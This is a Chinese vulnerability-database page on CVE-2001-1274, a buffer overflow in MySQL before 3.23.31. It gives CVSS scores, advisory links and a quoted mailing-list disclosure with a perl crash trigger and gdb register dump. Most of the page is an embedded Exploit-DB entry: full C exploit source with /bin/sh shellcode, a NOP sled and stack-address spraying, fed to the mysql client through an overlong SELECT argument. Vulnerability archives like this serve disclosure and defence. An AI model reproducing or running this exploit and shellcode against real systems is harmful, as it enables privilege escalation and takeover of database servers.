CVE-2001-1274
CVSS7.5
发布时间 :2001-01-23 00:00:00
修订时间 :2016-10-17 22:14:23
NMCOE    

[原文]Buffer overflow in MySQL before 3.23.31 allows attackers to cause a denial of service and possibly gain privileges.


[CNNVD]MySQL缓冲区溢出漏洞(CNNVD-200101-129)

        MySQL 3.23.31之前版本存在缓冲区溢出漏洞。攻击者可以导致服务拒绝并且可能提升特权。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1274
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1274
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200101-129
(官方数据源) CNNVD

- 其它链接及资源

http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000375
(UNKNOWN)  CONECTIVA  CLA-2001:375
http://marc.info/?l=bugtraq&m=98089552030459&w=2
(UNKNOWN)  FREEBSD  FreeBSD-SA-01:16
http://www.calderasystems.com/support/security/advisories/CSSA-2001-006.0.txt
(VENDOR_ADVISORY)  CALDERA  CSSA-2001-006.0
http://www.debian.org/security/2001/dsa-013
(VENDOR_ADVISORY)  DEBIAN  DSA-013
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-014.php3
(UNKNOWN)  MANDRAKE  MDKSA-2001:014
http://www.mysql.com/documentation/mysql/bychapter/manual_News.html#News-3.23.3
(UNKNOWN)  CONFIRM  http://www.mysql.com/documentation/mysql/bychapter/manual_News.html#News-3.23.3
http://www.redhat.com/support/errata/RHSA-2001-003.html
(UNKNOWN)  REDHAT  RHSA-2001:003

- 漏洞信息

MySQL缓冲区溢出漏洞
高危 缓冲区溢出
2001-01-23 00:00:00 2006-03-28 00:00:00
远程  
        MySQL 3.23.31之前版本存在缓冲区溢出漏洞。攻击者可以导致服务拒绝并且可能提升特权。

- 公告与补丁

        

- 漏洞信息 (20581)

Mysql 3.22.x/3.23.x Local Buffer Overflow Vulnerability (EDBID:20581)
linux local
2001-01-18 Verified
0 Luis Miguel Silva
N/A [点击下载]
source: http://www.securityfocus.com/bid/2262/info

MySQL is a widely used Open Source database tool. Versions of MySQL up to and including 3.23.30 are vulnerable to a buffer overflow attack.

By supplying an excessively long string as an argument for a SELECT statement, it is possible for a local attacker to overflow mysql's query string buffer.

As a result of this overflow, excessive data copied onto the stack can overwrite critical parts of the stack frame such as the calling function's return address. Since this data is supplied by the user, it can be made to alter the program's flow of execution. 

/*

 Linux MySQL Exploit by Luis Miguel Silva [aka wC]
 lms@ispgaya.pt
 19/01/y2k+1

 Compile:

   gcc MySQLXploit.c -o MySQLX

 Run with:

   You can specify the offset for the exploit passing it as the 1st arg...

   Example: ./MySQLX 0 ---> this is the default offset :]

 Advisorie:
 [from a bugtraq email]

 Hi,

 all versions of MySQL < 3.23.31 have a buffer-overflow which crashs the
 server and which seems to be exploitable (ie. 4141414 in eip)

 Problem :
 An attacker could gain mysqld privileges (gaining access to all the
 databases)

 Requirements :
 You need a valid login/password to exploit this

 Solution :
 Upgrade to 3.23.31

 Proof-of-concept code :
 None

 Credits :
 I'm not the discoverer of this bug
 The first public report was made by tharbad@kaotik.org via the MySQL
 mailing-list
 See the following mails for details

 Regards,
 Nicob

 Here the original post to the MySQL mailing-list :
 ==================================================

 On Jan 12, Jo?o Gouveia wrote:
 > Hi,
 >
  I believe i've found a problem in MySql. Here are some test's i've made
in
 > 3.22.27 x86( also tested on v3.22.32 - latest stable, although i didn't
 > debug it, just tested to see if crashes ).Confirmed up to latest 3.23

 > On one terminal:
 > <quote>
 > spike:/var/mysql # /sbin/init.d/mysql start
 > Starting service MySQL.
 > Starting mysqld daemon with databases from /var/mysql
 > done
 > spike:/var/mysql #
 ></quote>
 >
 > On the other terminal:
 > <quote>
 > jroberto@spike:~ > msql -p -e 'select a.'`perl
-e'printf("A"x130)'`'.b'
 > Enter password:
 > (hanged..^C)
 > </quote>
 >
 > On the first terminal i got:
 > <quote>
 > sike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation
fault
 > nohup
 > $ledir/myqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR
--skip-lockin
 > g "$@" >>$err_log 2>&1>
 > Number of processes running now: 0
 > mysqld restarted on  Fri Jan 12 07:10:54 WET 2001
 > mysqld daemon ended
 > </quote>
 >
 > gdb shows the following:
 > <quote>
 > (gdb) run
 > Starting program: /usr/sbin/mysqld
 > [New Thread 16897 (manager thread)]
 > [New Thread 16891 (initial thread)]
 > [New Thread 16898]
 > /usr/sbin/mysqld: ready for connections
 > [New Thread 16916]
 > [Switching to Thread 16916]
 >
 > Program received signal SIGSEGV, Segmentation fault.
 > 0x41414141 in ?? ()
 > (gdb) info all-registers
 > eax            0x1      1
 > ecx            0x68     104
 > edx            0x8166947        135686471
 > ebx            0x41414141       1094795585
 > esp            0xbf5ff408       0xbf5ff408
 > ebp            0x41414141       0x41414141
 > esi            0x41414141       1094795585
 > edi            0x0      0
 > eip            0x41414141       0x41414141
 > eflags         0x10246  66118
 > cs             0x23     35
 > ss             0x2b     43
 > ds             0x2b     43
 > es             0x2b     43
 > fs             0x0      0
 > gs             0x0      0
 > (gdb)
 > </quote>
 >
 > looks like a tipical overflow to me.
 > Please reply asap, at least to tell me i'me not seeing things. :-)>
 > Best regards,
 >
 > Joao Gouveia aka Tharbad.
 >
 > tharbad@kaotik.org

 Here the reponse to a email I send today to the MySQL list :
 ============================================================

 Sergei Golubchik (MySQL team) wrote :
 >
 > Hi!
 >
 > On Jan 18, Nicolas GREGOIRE wrote:
 > > Hi,
 > >
 > > Still not any info about the buffer-overflow discovered last week ?
 > > Shouldn't be fixed at the beginning of the week ?
 > >
 > > Please, dear MySQL team, give us info !!
 > >
 > > Regards,
 > > Nicob
 >
 > Fixed in latest release (3.23.31).
 >
 > Regards,
 > Sergei

 Here an part of the 3.23.30 to 3.23.31 diff :
 =============================================

 +Changes in release 3.23.31
 +--------------------------
 +
 +   * Fixed security bug in something (please upgrade if you are using a
 +     earlier MySQL 3.23 version).

 End of Advisorie

 Final Words: Yes..i'm still alive...<g> [just a'sleep..]

 A big kiss to niness and hugs to all my friends...
 lucipher && all of the unsecurity.org crew...
 JFA and all of the AngelSP [pseudo :P]'crew...
 Ahmm...i just wave everybody :]

*/

#include <stdio.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 130
#define NOP 0x90

// Our EVIL code...
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned
long get_sp(void) {
   __asm__("movl %esp,%eax");
}

// Where it all happens...
main(int argc, char *argv[])
{
 char *buffer, *ptr, tmp[1500];
 long *addr_ptr, addr;
 int i,bsize=DEFAULT_BUFFER_SIZE,offset=DEFAULT_OFFSET;

 printf("\nMySQL [al versions < 3.23.31] Local Exploit by
lms@ispgaya.pt\n\n");
 if (argc==2) offset=atoi(argv[1]);
 else
   printf("Happy toughts: Did you know you can pass a offset as argv[1]? :]\n");

 printf("Trying to allocate memory for buffer (%d bytes)...",bsize);
 if (!(buffer = malloc(bsize))) {
   printf("ERROR!\n");
   printf("Couldn't allocate memory...\n");
   printf("Exiting...\n");
   exit(0);
 }
 printf("SUCCESS!\n");
 addr=get_sp()-offset;
 printf("Using address : 0x%x\n", addr);
 printf("Offset        : %d\n",offset);
 printf("Buffer Size   : %d\n",bsize);
 ptr=buffer;
 addr_ptr=(long *) ptr;
 for (i=0;i<bsize;i+=4) *(addr_ptr++)=addr;
 for (i=0;i<bsize/2;i++) buffer[i]=NOP;
 ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
 for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];
 buffer[bsize-1]='\0';
 snprintf(tmp,sizeof(tmp),"mysql -p -e 'select a.'%s'.b'",buffer);
 printf("Oh k...i have the evil'buffer right here :P\n");
 printf("So...[if all went well], prepare to be r00t...\n");
 system(tmp);
}



		

- 漏洞信息

9907
MySQL SELECT Statement String Handling Overflow
Local / Remote Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-01-18 Unknow
2001-01-18 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站